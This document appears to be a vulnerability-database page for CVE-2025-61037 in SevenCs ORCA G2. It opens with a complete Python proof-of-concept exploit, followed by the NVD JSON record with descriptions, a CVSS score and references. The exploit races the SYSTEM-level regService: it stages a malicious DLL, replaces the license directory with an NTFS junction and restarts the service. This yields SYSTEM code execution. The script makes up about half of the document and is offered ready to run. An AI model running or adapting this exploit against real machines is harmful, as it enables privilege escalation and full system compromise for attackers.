CVE-2025-61037

# CVE-2025-61037 PoC - TOCTOU Race Condition Exploitation # Target: SevenCs ORCA G2 regService SYSTEM Privilege Escalation import os import time import subprocess import threading import shutil TARGET_SERVICE = "regService" MALICIOUS_DLL = "evil.dll" FAKE_DIR = "C:\\ProgramData\\SevenCs\\License" REAL_DIR = "C:\\Users\\Public\\Downloads" def create_junction(source, target): """Create NTFS junction point""" try: if os.path.exists(target): os.rmdir(target) subprocess.run(['cmd', '/c', 'mklink', '/J', target, source], capture_output=True, check=True) print(f"[+] Junction created: {target} -> {source}") return True except Exception as e: print(f"[-] Failed to create junction: {e}") return False def monitor_and_replace(): """Monitor target directory and replace with junction""" while True: if os.path.exists(FAKE_DIR): if create_junction(REAL_DIR, FAKE_DIR): print("[+] Directory replaced with junction!") break time.sleep(0.01) def trigger_service(): """Trigger regService to perform license check""" time.sleep(0.05) try: subprocess.run(['sc', 'stop', TARGET_SERVICE], capture_output=True) time.sleep(0.1) subprocess.run(['sc', 'start', TARGET_SERVICE], capture_output=True) print("[+] Service restart triggered") except Exception as e: print(f"[-] Service trigger failed: {e}") def main(): print("[*] CVE-2025-61037 SevenCs ORCA G2 LPE Exploit") print("[*] Target: regService SYSTEM -> User Code Execution") # Prepare malicious DLL in controlled directory if not os.path.exists(REAL_DIR): os.makedirs(REAL_DIR) # Copy malicious payload if os.path.exists(MALICIOUS_DLL): shutil.copy(MALICIOUS_DLL, os.path.join(REAL_DIR, "target.dll")) print(f"[+] Payload placed in {REAL_DIR}") # Start race condition exploit monitor_thread = threading.Thread(target=monitor_and_replace, daemon=True) monitor_thread.start() # Trigger service operation trigger_service() monitor_thread.join(timeout=10) print("[*] Exploit sequence completed") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-61037", "sourceIdentifier": "[email protected]", "published": "2025-12-31T16:15:43.727", "lastModified": "2026-01-14T20:29:48.850", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A local privilege escalation vulnerability exists in SevenCs ORCA G2 2.0.1.35 (EC2007 Kernel v5.22). The flaw is a Time-of-Check Time-of-Use (TOCTOU) race condition in the license management logic. The regService process, which runs with SYSTEM privileges, creates a fixed directory and writes files without verifying whether the path is an NTFS reparse point. By exploiting this race condition, an attacker can replace the target directory with a junction pointing to a user-controlled path. This causes the SYSTEM-level process to drop binaries in a location fully controlled by the attacker, allowing arbitrary code execution with SYSTEM privileges. The vulnerability can be exploited by any standard user with only a single UAC confirmation, making it highly practical and dangerous in real-world environments."}, {"lang": "es", "value": "Existe una vulnerabilidad de escalada de privilegios local en SevenCs ORCA G2 2.0.1.35 (EC2007 Kernel v5.22). La falla es una condición de carrera de Tiempo de Verificación a Tiempo de Uso (TOCTOU) en la lógica de gestión de licencias. El proceso regService, que se ejecuta con privilegios de SYSTEM, crea un directorio fijo y escribe archivos sin verificar si la ruta es un punto de reanálisis NTFS. Al explotar esta condición de carrera, un atacante puede reemplazar el directorio de destino con una unión que apunta a una ruta controlada por el usuario. Esto hace que el proceso a nivel de SYSTEM coloque binarios en una ubicación totalmente controlada por el atacante, permitiendo la ejecución de código arbitrario con privilegios de SYSTEM. La vulnerabilidad puede ser explotada por cualquier usuario estándar con solo una única confirmación de UAC, lo que la hace altamente práctica y peligrosa en entornos del mundo real."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-367"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:sevencs:ec2007_kernel:5.22:*:*:*:*:*:*:*", "matchCriteriaId": "1B7535E9-C8EB-41F7-A6A8-4698A33E4239"}, {"vulnerable": true, "criteria": "cpe:2.3:a:sevencs:orca_g2:2.0.1.35:*:*:*:*:*:*:*", "matchCriteriaId": "29199970-680B-493F-BB24-F18DE15C1468"}]}]}], "references": [{"url": "https://gist.github.com/jc0818/233462416579661e4e2795f96457a6bf", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}